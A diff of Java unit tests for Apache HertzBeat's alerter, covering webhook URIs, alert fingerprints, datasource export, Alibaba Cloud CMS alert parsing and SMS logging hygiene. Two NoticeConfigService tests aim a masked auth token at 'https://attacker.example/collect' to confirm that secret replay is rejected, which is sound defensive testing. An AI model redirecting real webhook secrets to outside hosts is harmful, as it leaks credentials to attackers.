+                + "?api-version=1&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=UejZsrJyaZwwAm_jArn7Ze0PIf";
+        receiver.setHookUrl(hookUrl);
+
+        RestTemplate realRestTemplate = new RestTemplate();
+        MockRestServiceServer mockServer = MockRestServiceServer.createServer(realRestTemplate);
+        mockServer.expect(requestTo(hookUrl)).andRespond(withSuccess());
+        ReflectionTestUtils.setField(webHookAlertNotifyHandler, "restTemplate", realRestTemplate);
+
+        webHookAlertNotifyHandler.send(receiver, template, groupAlert);
+
+        mockServer.verify();
+    }
+
     @Test
     public void testNotifyAlertWithNullOrEmptyUrl() {
         // Test null URL
@@ -145,7 +167,7 @@ class WebHookAlertNotifyHandlerImplTest {
         ResponseEntity<String> responseEntity =
             new ResponseEntity<>("null", HttpStatus.OK);
 
-        when(restTemplate.postForEntity(any(String.class), any(), eq(String.class))).thenReturn(responseEntity);
+        when(restTemplate.postForEntity(any(URI.class), any(), eq(String.class))).thenReturn(responseEntity);
 
         // Test various valid URLs that should work
         receiver.setHookUrl("https://hooks.slack.com/services/T123/B456/complete-token");
@@ -170,7 +192,7 @@ class WebHookAlertNotifyHandlerImplTest {
         ResponseEntity<String> responseEntity =
             new ResponseEntity<>("null", HttpStatus.OK);
 
-        when(restTemplate.postForEntity(eq(receiver.getHookUrl()), any(), eq(String.class))).thenReturn(responseEntity);
+        when(restTemplate.postForEntity(eq(URI.create(receiver.getHookUrl())), any(), eq(String.class))).thenReturn(responseEntity);
 
         webHookAlertNotifyHandler.send(receiver, template, groupAlert);
 

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/reduce/AlarmCommonReduceTest.java

@@ -17,6 +17,7 @@
 
 package org.apache.hertzbeat.alert.reduce;
 
+import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertFalse;
 import static org.junit.jupiter.api.Assertions.assertTrue;
 import static org.mockito.ArgumentMatchers.any;
@@ -28,6 +29,7 @@ import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
 import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
 import org.apache.hertzbeat.common.config.VirtualThreadProperties;
 import org.junit.jupiter.api.AfterEach;
@@ -85,6 +87,28 @@ class AlarmCommonReduceTest {
         assertTrue(virtualThread.get());
     }
 
+    @Test
+    void durableFingerprintShouldRemainIndependentFromCalculatorCacheKey() throws Exception {
+        CountDownLatch latch = new CountDownLatch(1);
+        AtomicReference<String> durableFingerprint = new AtomicReference<>();
+        doAnswer(invocation -> {
+            durableFingerprint.set(invocation.getArgument(0, SingleAlert.class).getFingerprint());
+            latch.countDown();
+            return null;
+        }).when(alarmGroupReduce).processGroupAlert(any(SingleAlert.class));
+        SingleAlert alert = SingleAlert.builder()
+                .labels(new HashMap<>(Map.of(
+                        "instance", "db-1",
+                        "alertname", "disk_full",
+                        "timestamp", "not-part-of-identity")))
+                .build();
+
+        alarmCommonReduce.reduceAndSendAlarm(alert);
+
+        assertTrue(latch.await(5, TimeUnit.SECONDS));
+        assertEquals("alertname:disk_full,instance:db-1", durableFingerprint.get());
+    }
+
     @Test
     void testReduceAndSendAlarmQueuesWhenConcurrencyLimitReached() throws Exception {
         VirtualThreadProperties properties = new VirtualThreadProperties(

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/service/AlertDefineExcelImExportServiceTest.java

@@ -69,6 +69,7 @@ public class AlertDefineExcelImExportServiceTest {
         row.createCell(6).setCellValue(JsonUtil.toJson(Map.of("key", "value")));
         row.createCell(7).setCellValue("template1");
         row.createCell(8).setCellValue(true);
+        row.createCell(9).setCellValue("promql");
 
         ByteArrayInputStream inputStream = new ByteArrayInputStream(toByteArray(initialWorkbook));
 
@@ -93,6 +94,7 @@ public class AlertDefineExcelImExportServiceTest {
             assertEquals(Map.of("key", "value"), alertDefineDTO.getAnnotations());
             assertEquals("template1", alertDefineDTO.getTemplate());
             assertTrue(alertDefineDTO.getEnable());
+            assertEquals("promql", alertDefineDTO.getDatasource());
         }
     }
 
@@ -111,6 +113,7 @@ public class AlertDefineExcelImExportServiceTest {
         alertDefineDTO.setAnnotations(Map.of("key", "value"));
         alertDefineDTO.setTemplate("template1");
         alertDefineDTO.setEnable(true);
+        alertDefineDTO.setDatasource("promql");
         exportAlertDefineDTO.setAlertDefine(alertDefineDTO);
         exportAlertDefineList.add(exportAlertDefineDTO);
 
@@ -129,6 +132,7 @@ public class AlertDefineExcelImExportServiceTest {
                 assertEquals("Annotations", headerRow.getCell(6).getStringCellValue());
                 assertEquals("Template", headerRow.getCell(7).getStringCellValue());
                 assertEquals("Enable", headerRow.getCell(8).getStringCellValue());
+                assertEquals("Datasource", headerRow.getCell(9).getStringCellValue());
 
                 Row dataRow = resultSheet.getRow(1);
                 assertEquals("app1", dataRow.getCell(0).getStringCellValue());
@@ -140,6 +144,7 @@ public class AlertDefineExcelImExportServiceTest {
                 assertEquals(JsonUtil.toJson(Map.of("key", "value")), dataRow.getCell(6).getStringCellValue());
                 assertEquals("template1", dataRow.getCell(7).getStringCellValue());
                 assertTrue(dataRow.getCell(8).getBooleanCellValue());
+                assertEquals("promql", dataRow.getCell(9).getStringCellValue());
             }
         }
     }

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/service/AlertDefineJsonImExportServiceTest.java

@@ -21,6 +21,8 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertNotNull;
 import static org.junit.jupiter.api.Assertions.assertNull;
 import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.InputStream;
@@ -29,8 +31,10 @@ import java.util.List;
 import org.apache.hertzbeat.alert.dto.AlertDefineDTO;
 import org.apache.hertzbeat.alert.dto.ExportAlertDefineDTO;
 import org.apache.hertzbeat.alert.service.impl.AlertDefineJsonImExportServiceImpl;
+import org.apache.hertzbeat.common.entity.alerter.AlertDefine;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Test;
+import org.springframework.test.util.ReflectionTestUtils;
 
 /**
  * test case for {@link AlertDefineJsonImExportServiceImpl}
@@ -43,7 +47,7 @@ class AlertDefineJsonImExportServiceTest {
     @SuppressWarnings("checkstyle:OperatorWrap")
     private static final String JSON_DATA = "[{\"alertDefine\":{\"name\":\"App1\",\"type\":\"realtime\"," +
             "\"expr\":\"Expr1\",\"period\":3000,\"times\":3," +
-            "\"enable\":true,\"template\":\"Template1\"}}]";
+            "\"enable\":true,\"template\":\"Template1\",\"datasource\":\"promql\"}}]";
 
     private InputStream inputStream;
     private List<ExportAlertDefineDTO> alertDefineList;
@@ -77,6 +81,7 @@ class AlertDefineJsonImExportServiceTest {
         assertEquals(1, result.size());
         assertEquals("App1", result.get(0).getAlertDefine().getName());
         assertEquals("realtime", result.get(0).getAlertDefine().getType());
+        assertEquals("promql", result.get(0).getAlertDefine().getDatasource());
     }
 
     @Test
@@ -100,6 +105,29 @@ class AlertDefineJsonImExportServiceTest {
         assertTrue(result.contains("realtime"));
     }
 
+    @Test
+    void testExportKeepsDatasource() {
+        AlertDefineService alertDefineService = mock(AlertDefineService.class);
+        AlertDefine define = AlertDefine.builder()
+                .name("test")
+                .type("periodic_metric")
+                .expr("cpu_usage{instance=\"server1\"} > 80")
+                .datasource("promql")
+                .period(300)
+                .times(3)
+                .template("test")
+                .enable(true)
+                .build();
+        when(alertDefineService.getAlertDefine(1L)).thenReturn(define);
+        ReflectionTestUtils.setField(service, "alertDefineService", alertDefineService);
+
+        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+        service.exportConfig(outputStream, List.of(1L));
+
+        String result = outputStream.toString(StandardCharsets.UTF_8);
+        assertTrue(result.contains("promql"), "exported config should keep datasource, but got: " + result);
+    }
+
     @Test
     void testType() {
         assertEquals("JSON", service.type());

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/service/AlertDefineYamlImExportServiceTest.java

@@ -64,6 +64,7 @@ class AlertDefineYamlImExportServiceTest {
                         times: 3
                         enable: true
                         template: Template1
+                        datasource: promql
                     """;
 
     private InputStream inputStream;
@@ -82,6 +83,7 @@ class AlertDefineYamlImExportServiceTest {
         alertDefine.setExpr("Expr1");
         alertDefine.setEnable(true);
         alertDefine.setTemplate("Template1");
+        alertDefine.setDatasource("promql");
 
         ExportAlertDefineDTO exportAlertDefine = new ExportAlertDefineDTO();
         exportAlertDefine.setAlertDefine(alertDefine);
@@ -135,6 +137,7 @@ class AlertDefineYamlImExportServiceTest {
         assertTrue(yamlOutput.contains("name: App1"));
         assertTrue(yamlOutput.contains("type: realtime"));
         assertTrue(yamlOutput.contains("expr: Expr1"));
+        assertTrue(yamlOutput.contains("datasource: promql"));
     }
 
     @Test

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/service/AlibabaCloudCmsExternAlertServiceTest.java

@@ -0,0 +1,180 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.alert.service;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import java.time.Instant;
+import org.apache.hertzbeat.alert.reduce.AlarmCommonReduce;
+import org.apache.hertzbeat.alert.service.impl.AlibabaCloudCmsExternAlertService;
+import org.apache.hertzbeat.common.constants.CommonConstants;
+import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.ArgumentCaptor;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+
+/**
+ * Unit test for {@link AlibabaCloudCmsExternAlertService}.
+ */
+@ExtendWith(MockitoExtension.class)
+class AlibabaCloudCmsExternAlertServiceTest {
+
+    private static final long EVENT_TIME = 1785300000123L;
+
+    @Mock
+    private AlarmCommonReduce alarmCommonReduce;
+
+    private AlibabaCloudCmsExternAlertService externAlertService;
+
+    @BeforeEach
+    void setUp() {
+        externAlertService = new AlibabaCloudCmsExternAlertService(alarmCommonReduce);
+    }
+
+    @Test
+    void shouldConvertTriggeredAlert() {
+        externAlertService.addExternAlert("""
+                {
+                  "specversion": "1.0",
+                  "id": "alert-event-1",
+                  "type": "ALERT",
+                  "subtype": "NORMAL_TRIGGER",
+                  "time": "2026-07-29T06:00:00Z",
+                  "timestamp": 1785300000123,
+                  "subject": "ECS CPU usage is high",
+                  "severity": "WARNING",
+                  "status": "OCCURRED",
+                  "userId": "123456",
+                  "ruleId": "rule-1",
+                  "workspace": "default-cms-123456-cn-hangzhou",
+                  "traceId": "trace-1",
+                  "alertMessage": "CPU usage exceeded 80%",
+                  "alertEntityId": "ecs:i-123",
+                  "resource": {
+                    "entity": {
+                      "domain": "ecs",
+                      "entity_type": "instance",
+                      "entity_id": "i-123",
+                      "prop": {
+                        "instanceName": "api-server"
+                      }
+                    },
+                    "tags": {
+                      "regionId": "cn-hangzhou",
+                      "environment": "production"
+                    }
+                  },
+                  "labels": {
+                    "_cms_region": "cn-hangzhou",
+                    "customNumber": 7
+                  },
+                  "annotations": {
+                    "current_value": "92.5"
+                  },
+                  "data": {
+                    "value": 92.5,
+                    "threshold": 80,
+                    "comparisonOperator": ">"
+                  },
+                  "alertEntityFields": {
+                    "privateIp": "10.0.0.1"
+                  },
+                  "alertHistoryUrl": "https://cmsnext.console.aliyun.com/history",
+                  "futureField": "ignored"
+                }
+                """);
+
+        SingleAlert alert = captureAlert();
+        assertEquals(CommonConstants.ALERT_STATUS_FIRING, alert.getStatus());
+        assertEquals(EVENT_TIME, alert.getStartAt());
+        assertEquals(EVENT_TIME, alert.getActiveAt());
+        assertNull(alert.getEndAt());
+        assertEquals("CPU usage exceeded 80%", alert.getContent());
+        assertEquals("alibabacloud-cms", alert.getLabels().get("__source__"));
+        assertEquals("ECS CPU usage is high", alert.getLabels().get("alertname"));
+        assertEquals(CommonConstants.ALERT_SEVERITY_WARNING, alert.getLabels().get("severity"));
+        assertEquals("instance", alert.getLabels().get("resourceType"));
+        assertEquals("i-123", alert.getLabels().get("resourceId"));
+        assertEquals("7", alert.getLabels().get("customNumber"));
+        assertEquals("api-server", alert.getAnnotations().get("instanceName"));
+        assertEquals("92.5", alert.getAnnotations().get("value"));
+        assertEquals("80", alert.getAnnotations().get("threshold"));
+        assertEquals("10.0.0.1", alert.getAnnotations().get("privateIp"));
+    }
+
+    @Test
+    void shouldConvertResolvedAlertAndIsoTime() {
+        externAlertService.addExternAlert("""
+                {
+                  "subtype": "NORMAL_RESOLVE",
+                  "time": "2026-07-29T06:00:00Z",
+                  "subject": "ECS CPU usage is high",
+                  "severity": "CRITICAL",
+                  "status": "RESOLVED",
+                  "labels": {
+                    "instanceId": "i-123"
+                  }
+                }
+                """);
+
+        SingleAlert alert = captureAlert();
+        long expectedTime = Instant.parse("2026-07-29T06:00:00Z").toEpochMilli();
+        assertEquals(CommonConstants.ALERT_STATUS_RESOLVED, alert.getStatus());
+        assertEquals(expectedTime, alert.getStartAt());
+        assertNull(alert.getActiveAt());
+        assertEquals(expectedTime, alert.getEndAt());
+        assertEquals("ECS CPU usage is high", alert.getContent());
+        assertEquals(CommonConstants.ALERT_SEVERITY_CRITICAL, alert.getLabels().get("severity"));
+    }
+
+    @Test
+    void shouldTreatRecoveredStatusAsResolved() {
+        externAlertService.addExternAlert("""
+                {
+                  "timestamp": 1785300000123,
+                  "subject": "Recovered alert",
+                  "status": "RECOVERED"
+                }
+                """);
+
+        SingleAlert alert = captureAlert();
+        assertEquals(CommonConstants.ALERT_STATUS_RESOLVED, alert.getStatus());
+        assertEquals(EVENT_TIME, alert.getEndAt());
+    }
+
+    @Test
+    void shouldIgnoreInvalidPayload() {
+        externAlertService.addExternAlert("invalid json");
+        externAlertService.addExternAlert("{\"subject\":\"missing status\"}");
+
+        verify(alarmCommonReduce, never()).reduceAndSendAlarm(any(SingleAlert.class));
+        assertEquals("alibabacloud-cms", externAlertService.supportSource());
+    }
+
+    private SingleAlert captureAlert() {
+        ArgumentCaptor<SingleAlert> captor = ArgumentCaptor.forClass(SingleAlert.class);
+        verify(alarmCommonReduce).reduceAndSendAlarm(captor.capture());
+        return captor.getValue();
+    }
+}

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/service/NoticeConfigServiceTest.java

@@ -279,6 +279,41 @@ class NoticeConfigServiceTest {
         verify(dispatcherAlarm, never()).sendNoticeMsg(any(), any(), any());
     }
 
+    @Test
+    void sendTestMsgRejectsMaskedSecretReplayToChangedWebhookUrl() {
+        final NoticeReceiver stored = new NoticeReceiver();
+        stored.setId(5L);
+        stored.setType((byte) 2);
+        stored.setHookUrl("https://trusted.example/hook");
+        stored.setHookAuthToken("hook-auth-token-abcd");
+        when(noticeReceiverDao.findById(5L)).thenReturn(Optional.of(stored));
+
+        final NoticeReceiver incoming = NoticeReceiverMaskUtil.mask(stored);
+        incoming.setHookUrl("https://attacker.example/collect");
+
+        assertThrows(IllegalArgumentException.class, () -> noticeConfigService.sendTestMsg(incoming));
+        verify(dispatcherAlarm, never()).sendNoticeMsg(any(), any(), any());
+    }
+
+    @Test
+    void sendTestMsgRejectsBareMaskReplayToChangedWebhookUrl() {
+        final NoticeReceiver stored = new NoticeReceiver();
+        stored.setId(5L);
+        stored.setType((byte) 2);
+        stored.setHookUrl("https://trusted.example/hook");
+        stored.setHookAuthToken("hook-auth-token-abcd");
+        when(noticeReceiverDao.findById(5L)).thenReturn(Optional.of(stored));
+
+        final NoticeReceiver incoming = new NoticeReceiver();
+        incoming.setId(5L);
+        incoming.setType((byte) 2);
+        incoming.setHookUrl("https://attacker.example/collect");
+        incoming.setHookAuthToken(NoticeReceiverMaskUtil.SECRET_MASK);
+
+        assertThrows(IllegalArgumentException.class, () -> noticeConfigService.sendTestMsg(incoming));
+        verify(dispatcherAlarm, never()).sendNoticeMsg(any(), any(), any());
+    }
+
     @Test
     void deleteReceiver() {
         final Long receiverId = 23342525L;

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/service/impl/SmsClientLoggingTest.java

@@ -0,0 +1,300 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.alert.service.impl;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.mockStatic;
+import static org.mockito.Mockito.when;
+
+import java.io.IOException;
+import java.util.Map;
+import org.apache.hertzbeat.common.entity.alerter.GroupAlert;
+import org.apache.hertzbeat.common.entity.alerter.NoticeReceiver;
+import org.apache.hertzbeat.common.entity.dto.sms.AlibabaSmsProperties;
+import org.apache.hertzbeat.common.entity.dto.sms.AwsSmsProperties;
+import org.apache.hertzbeat.common.entity.dto.sms.SmslocalSmsProperties;
+import org.apache.hertzbeat.common.entity.dto.sms.TencentSmsProperties;
+import org.apache.hertzbeat.common.entity.dto.sms.TwilioSmsProperties;
+import org.apache.hertzbeat.common.entity.dto.sms.UniSmsProperties;
+import org.apache.hertzbeat.common.support.exception.SendMessageException;
+import org.apache.http.StatusLine;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.client.methods.HttpPost;
+import org.apache.http.entity.ContentType;
+import org.apache.http.entity.StringEntity;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClients;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.MockedStatic;
+import org.springframework.boot.test.system.CapturedOutput;
+import org.springframework.boot.test.system.OutputCaptureExtension;
+
+/**
+ * Verifies that SMS clients do not write request credentials or message data to logs.
+ */
+@ExtendWith(OutputCaptureExtension.class)
+class SmsClientLoggingTest {
+
+    private static final String ACCESS_KEY = "access-key-log-sentinel";
+    private static final String PHONE = "15555550123";
+    private static final String ALERT_CONTENT = "alert-content-log-sentinel";
+    private static final String PROVIDER_BODY = "provider-body-log-sentinel";
+    private static final String SIGNED_URL = "https://provider.invalid/send?Signature=signed-url-log-sentinel";
+
+    @Test
+    void requestCredentialsAndMessageDataShouldNotBeLogged(CapturedOutput output) throws Exception {
+        NoticeReceiver receiver = receiver();
+        GroupAlert alert = alert();
+
+        AwsSmsProperties awsProperties = new AwsSmsProperties();
+        awsProperties.setAccessKeyId(ACCESS_KEY);
+        awsProperties.setAccessKeySecret("aws-secret");
+        awsProperties.setRegion("us-east-1");
+        withSuccessfulResponse("{\"MessageId\":\"message-id\"}",
+            () -> new AwsSmsClientImpl(awsProperties).sendMessage(receiver, null, alert));
+
+        AlibabaSmsProperties alibabaProperties =
+            new AlibabaSmsProperties(ACCESS_KEY, "alibaba-secret", "sign", "template");
+        withSuccessfulResponse("{\"Code\":\"OK\"}",
+            () -> new AlibabaSmsClientImpl(alibabaProperties).sendMessage(receiver, null, alert));
+
+        UniSmsProperties uniProperties =
+            new UniSmsProperties(ACCESS_KEY, "unisms-secret", "sign", "template", "hmac");
+        withSuccessfulResponse("{\"code\":\"0\"}",
+            () -> new UniSmsClientImpl(uniProperties).sendMessage(receiver, null, alert));
+
+        withSuccessfulResponse("{\"sid\":\"message-id\"}",
+            () -> new TwilioSmsClientImpl(twilioProperties()).sendMessage(receiver, null, alert));
+
+        withSuccessfulResponse("{\"Response\":{\"SendStatusSet\":[{\"Code\":\"Ok\"}]}}",
+            () -> new TencentSmsClientImpl(tencentProperties()).sendMessage(receiver, null, alert));
+
+        withSuccessfulResponse("[{\"errorCode\":\"200\",\"id\":\"message-id\"}]",
+            () -> new SmsLocalSmsClientImpl(smslocalProperties()).sendMessage(receiver, null, alert));
+
+        String logs = output.getAll();
+        assertFalse(logs.contains(ACCESS_KEY));
+        assertFalse(logs.contains(PHONE));
+        assertFalse(logs.contains(ALERT_CONTENT));
+        assertFalse(logs.contains("Authorization"));
+        assertFalse(logs.contains("Signature="));
+    }
+
+    @Test
+    void failedResponsesExposeOnlyProviderAndHttpStatus(CapturedOutput output) throws Exception {
+        String body = "{\"message\":\"" + PROVIDER_BODY + "\",\"phone\":\"" + PHONE + "\"}";
+
+        SendMessageException awsFailure = withResponse(503, body,
+                () -> new AwsSmsClientImpl(awsProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException alibabaFailure = withResponse(502, body,
+                () -> new AlibabaSmsClientImpl(alibabaProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException uniFailure = withResponse(429, body,
+                () -> new UniSmsClientImpl(uniProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException twilioFailure = withResponse(429, body,
+                () -> new TwilioSmsClientImpl(twilioProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException tencentFailure = withResponse(429, body,
+                () -> new TencentSmsClientImpl(tencentProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException smslocalFailure = withResponse(429, body,
+                () -> new SmsLocalSmsClientImpl(smslocalProperties()).sendMessage(receiver(), null, alert()));
+
+        assertEquals("AWS SMS request failed with HTTP status 503", awsFailure.getMessage());
+        assertEquals("Alibaba Cloud SMS request failed with HTTP status 502", alibabaFailure.getMessage());
+        assertEquals("UniSMS request failed with HTTP status 429", uniFailure.getMessage());
+        assertEquals("Twilio SMS request failed with HTTP status 429", twilioFailure.getMessage());
+        assertEquals("Tencent Cloud SMS request failed with HTTP status 429", tencentFailure.getMessage());
+        assertEquals("SMSLocal request failed with HTTP status 429", smslocalFailure.getMessage());
+        assertNoSensitiveSentinels(output.getAll()
+                + awsFailure.getMessage()
+                + alibabaFailure.getMessage()
+                + uniFailure.getMessage()
+                + twilioFailure.getMessage()
+                + tencentFailure.getMessage()
+                + smslocalFailure.getMessage());
+    }
+
+    @Test
+    void providerErrorsDoNotExposeProviderMessages(CapturedOutput output) throws Exception {
+        SendMessageException alibabaFailure = withResponse(
+                200,
+                "{\"Code\":\"THROTTLED\",\"Message\":\"" + PROVIDER_BODY + "\"}",
+                () -> new AlibabaSmsClientImpl(alibabaProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException uniFailure = withResponse(
+                200,
+                "{\"code\":\"RATE_LIMITED\",\"message\":\"" + PROVIDER_BODY + "\"}",
+                () -> new UniSmsClientImpl(uniProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException awsFailure = withResponse(
+                200,
+                "{\"message\":\"" + PROVIDER_BODY + "\"}",
+                () -> new AwsSmsClientImpl(awsProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException twilioFailure = withResponse(
+                400,
+                "{\"code\":21608,\"message\":\"" + PROVIDER_BODY + "\"}",
+                () -> new TwilioSmsClientImpl(twilioProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException tencentFailure = withResponse(
+                200,
+                "{\"Response\":{\"Error\":{\"Code\":\"THROTTLED\",\"Message\":\""
+                        + PROVIDER_BODY + "\"}}}",
+                () -> new TencentSmsClientImpl(tencentProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException smslocalFailure = withResponse(
+                200,
+                "[{\"errorCode\":\"RATE_LIMITED\",\"id\":\"" + PROVIDER_BODY + "\"}]",
+                () -> new SmsLocalSmsClientImpl(smslocalProperties()).sendMessage(receiver(), null, alert()));
+
+        assertEquals("Alibaba Cloud SMS request failed (code: THROTTLED)", alibabaFailure.getMessage());
+        assertEquals("UniSMS request failed (code: RATE_LIMITED)", uniFailure.getMessage());
+        assertEquals("AWS SMS provider returned an invalid response", awsFailure.getMessage());
+        assertEquals("Twilio SMS request failed (code: 21608)", twilioFailure.getMessage());
+        assertEquals("Tencent Cloud SMS request failed (code: THROTTLED)", tencentFailure.getMessage());
+        assertEquals("SMSLocal request failed (code: RATE_LIMITED)", smslocalFailure.getMessage());
+        assertNoSensitiveSentinels(output.getAll()
+                + alibabaFailure.getMessage()
+                + uniFailure.getMessage()
+                + awsFailure.getMessage()
+                + twilioFailure.getMessage()
+                + tencentFailure.getMessage()
+                + smslocalFailure.getMessage());
+    }
+
+    @Test
+    void networkExceptionsDoNotExposeSignedUrls(CapturedOutput output) throws Exception {
+        SendMessageException awsFailure = withNetworkFailure(
+                () -> new AwsSmsClientImpl(awsProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException alibabaFailure = withNetworkFailure(
+                () -> new AlibabaSmsClientImpl(alibabaProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException uniFailure = withNetworkFailure(
+                () -> new UniSmsClientImpl(uniProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException twilioFailure = withNetworkFailure(
+                () -> new TwilioSmsClientImpl(twilioProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException tencentFailure = withNetworkFailure(
+                () -> new TencentSmsClientImpl(tencentProperties()).sendMessage(receiver(), null, alert()));
+        SendMessageException smslocalFailure = withNetworkFailure(
+                () -> new SmsLocalSmsClientImpl(smslocalProperties()).sendMessage(receiver(), null, alert()));
+
+        assertEquals("AWS SMS request failed", awsFailure.getMessage());
+        assertEquals("Alibaba Cloud SMS request failed", alibabaFailure.getMessage());
+        assertEquals("UniSMS request failed", uniFailure.getMessage());
+        assertEquals("Twilio SMS request failed", twilioFailure.getMessage());
+        assertEquals("Tencent Cloud SMS request failed", tencentFailure.getMessage());
+        assertEquals("SMSLocal request failed", smslocalFailure.getMessage());
+        assertNoSensitiveSentinels(output.getAll()
+                + awsFailure.getMessage()
+                + alibabaFailure.getMessage()
+                + uniFailure.getMessage()
+                + twilioFailure.getMessage()
+                + tencentFailure.getMessage()
+                + smslocalFailure.getMessage());
+    }
+
+    private void withSuccessfulResponse(String responseBody, Runnable operation) throws Exception {
+        withResponse(200, responseBody, operation, false);
+    }
+
+    private SendMessageException withResponse(int statusCode, String responseBody, Runnable operation)
+            throws Exception {
+        return withResponse(statusCode, responseBody, operation, true);
+    }
+
+    private SendMessageException withResponse(
+            int statusCode,
+            String responseBody,
+            Runnable operation,
+            boolean expectsFailure) throws Exception {
+        CloseableHttpClient httpClient = mock(CloseableHttpClient.class);
+        CloseableHttpResponse response = mock(CloseableHttpResponse.class);
+        StatusLine statusLine = mock(StatusLine.class);
+        when(statusLine.getStatusCode()).thenReturn(statusCode);
+        when(response.getStatusLine()).thenReturn(statusLine);
+        when(response.getEntity()).thenReturn(new StringEntity(responseBody, ContentType.APPLICATION_JSON));
+        when(httpClient.execute(any(HttpPost.class))).thenReturn(response);
+
+        try (MockedStatic<HttpClients> httpClients = mockStatic(HttpClients.class)) {
+            httpClients.when(HttpClients::createDefault).thenReturn(httpClient);
+            if (expectsFailure) {
+                return assertThrows(SendMessageException.class, operation::run);
+            }
+            operation.run();
+            return null;
+        }
+    }
+
+    private SendMessageException withNetworkFailure(Runnable operation) throws Exception {
+        CloseableHttpClient httpClient = mock(CloseableHttpClient.class);
+        when(httpClient.execute(any(HttpPost.class)))
+                .thenThrow(new IOException(SIGNED_URL + "&phone=" + PHONE + "&body=" + PROVIDER_BODY));
+        try (MockedStatic<HttpClients> httpClients = mockStatic(HttpClients.class)) {
+            httpClients.when(HttpClients::createDefault).thenReturn(httpClient);
+            return assertThrows(SendMessageException.class, operation::run);
+        }
+    }
+
+    private NoticeReceiver receiver() {
+        NoticeReceiver receiver = new NoticeReceiver();
+        receiver.setPhone(PHONE);
+        return receiver;
+    }
+
+    private GroupAlert alert() {
+        GroupAlert alert = new GroupAlert();
+        alert.setGroupKey("instance");
+        alert.setCommonLabels(Map.of());
+        alert.setCommonAnnotations(Map.of("summary", ALERT_CONTENT, "description", ALERT_CONTENT));
+        return alert;
+    }
+
+    private AwsSmsProperties awsProperties() {
+        AwsSmsProperties properties = new AwsSmsProperties();
+        properties.setAccessKeyId(ACCESS_KEY);
+        properties.setAccessKeySecret("aws-secret");
+        properties.setRegion("us-east-1");
+        return properties;
+    }
+
+    private AlibabaSmsProperties alibabaProperties() {
+        return new AlibabaSmsProperties(ACCESS_KEY, "alibaba-secret", "sign", "template");
+    }
+
+    private UniSmsProperties uniProperties() {
+        return new UniSmsProperties(ACCESS_KEY, "unisms-secret", "sign", "template", "hmac");
+    }
+
+    private TwilioSmsProperties twilioProperties() {
+        return new TwilioSmsProperties(ACCESS_KEY, "twilio-secret", "twilio-phone");
+    }
